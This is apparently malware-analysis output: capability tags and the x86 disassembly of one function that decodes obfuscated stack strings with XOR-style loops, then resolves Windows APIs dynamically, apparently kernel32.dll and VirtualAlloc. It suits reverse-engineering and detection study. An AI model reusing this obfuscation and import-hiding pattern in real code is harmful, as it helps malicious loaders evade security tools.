Function at 0x401127
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
jmp 0x403150
sub esp, 0x6c
mov cl, 0x68
mov dword [0x40dc30], 0x401177
mov dword [0x40dc34], 0x40110e
mov dword [0x40dc2c], 0x401005
mov byte [esp], 0xab
mov byte [esp + 1], 0xb2
mov byte [esp + 2], 0xa3
mov byte [esp + 3], 0xac
mov byte [esp + 4], 0xa5
mov byte [esp + 5], cl
mov byte [esp + 6], 0x9f
mov byte [esp + 7], 0xa8
mov byte [esp + 8], 0xa1
mov byte [esp + 9], 0x46
xor eax, eax
mov dl, byte [esp + eax]
sub dl, 0x3d
xor dl, al
mov byte [esp + eax], dl
inc eax
cmp eax, 0xa
jb 0x4031a6
mov dl, 0xeb
mov byte [esp + 0x19], cl
push ebx
mov byte [esp + 0x10], 0xff
mov byte [esp + 0x11], dl
mov byte [esp + 0x12], 0xe0
mov byte [esp + 0x13], 0xfa
mov byte [esp + 0x14], 0x6d
mov byte [esp + 0x15], 0xee
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0xf0
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x19], 0x60
mov byte [esp + 0x1a], 0x6e
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], 0xe0
mov byte [esp + 0x1e], 0x6b
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x20], 0x73
mov byte [esp + 0x21], 0xd9
xor ecx, ecx
mov al, byte [esp + ecx + 0x10]
mov bl, al
shr bl, 7
shl al, 1
or bl, al
xor bl, 0xb3
mov byte [esp + ecx + 0x10], bl
inc ecx
cmp ecx, 0x12
jb 0x403215
mov byte [esp + 0x25], dl
mov bl, 0xfd
mov al, 0xfc
mov dl, 0xec
mov cl, 0xea
mov byte [esp + 0x26], bl
mov byte [esp + 0x2b], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x2f], al
mov byte [esp + 0x32], bl
mov byte [esp + 0x24], 0xc3
mov byte [esp + 0x27], 0xce
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2d], 0xdd
mov byte [esp + 0x2e], cl
mov byte [esp + 0x30], 0xe0
mov byte [esp + 0x31], 0xfa
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], cl
mov byte [esp + 0x35], 0x8f
xor eax, eax
pop ebx
mov cl, byte [esp + eax + 0x20]
xor cl, 0x70
inc eax
not cl
mov byte [esp + eax + 0x1f], cl
cmp eax, 0x12
jb 0x403288
push esi
lea edx, [esp + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x14]
push ecx
push eax
mov dword [0x40dc18], eax
call esi
mov dword [0x40dc20], eax
mov eax, dword [0x40dc18]
lea edx, [esp + 0x28]
push edx
push eax
call esi
mov ecx, 0x72
mov dword [0x40dc24], eax
mov word [esp + 0x40], cx
mov word [esp + 0x5c], cx
lea ecx, [esp + 0x3c]
mov eax, 0x6c
push ecx
mov word [esp + 0x40], 0x6b
mov word [esp + 0x42], 0x45
mov word [esp + 0x46], 0x4e
mov word [esp + 0x48], 0x65
mov word [esp + 0x4a], ax
mov word [esp + 0x4c], 0x33
mov word [esp + 0x4e], 0x32
mov word [esp + 0x50], 0x2e
mov word [esp + 0x52], 0x44
mov word [esp + 0x54], ax
mov word [esp + 0x56], ax
mov word [esp + 0x58], 0
mov word [esp + 0x5c], 0x56
mov word [esp + 0x5e], 0x69
mov word [esp + 0x62], 0x74
mov word [esp + 0x64], 0x75
mov word [esp + 0x66], 0x61
mov word [esp + 0x68], ax
mov word [esp + 0x6a], 0x41
mov word [esp + 0x6c], ax
mov word [esp + 0x6e], ax
mov word [esp + 0x70], 0x6f
mov word [esp + 0x72], 0x63
mov word [esp + 0x74], 0
call fcn.004011b3
push eax
call edi
mov dword [0x40dc1c], eax
call fcn.00401285
test eax, eax
jne 0x4033b7
lea edx, [esp + 0x58]
push edx
call fcn.004011b3
push eax
mov eax, dword [0x40dc1c]
push eax
call esi
mov dword [0x40dc28], eax
pop edi
pop esi
add esp, 0x6c
ret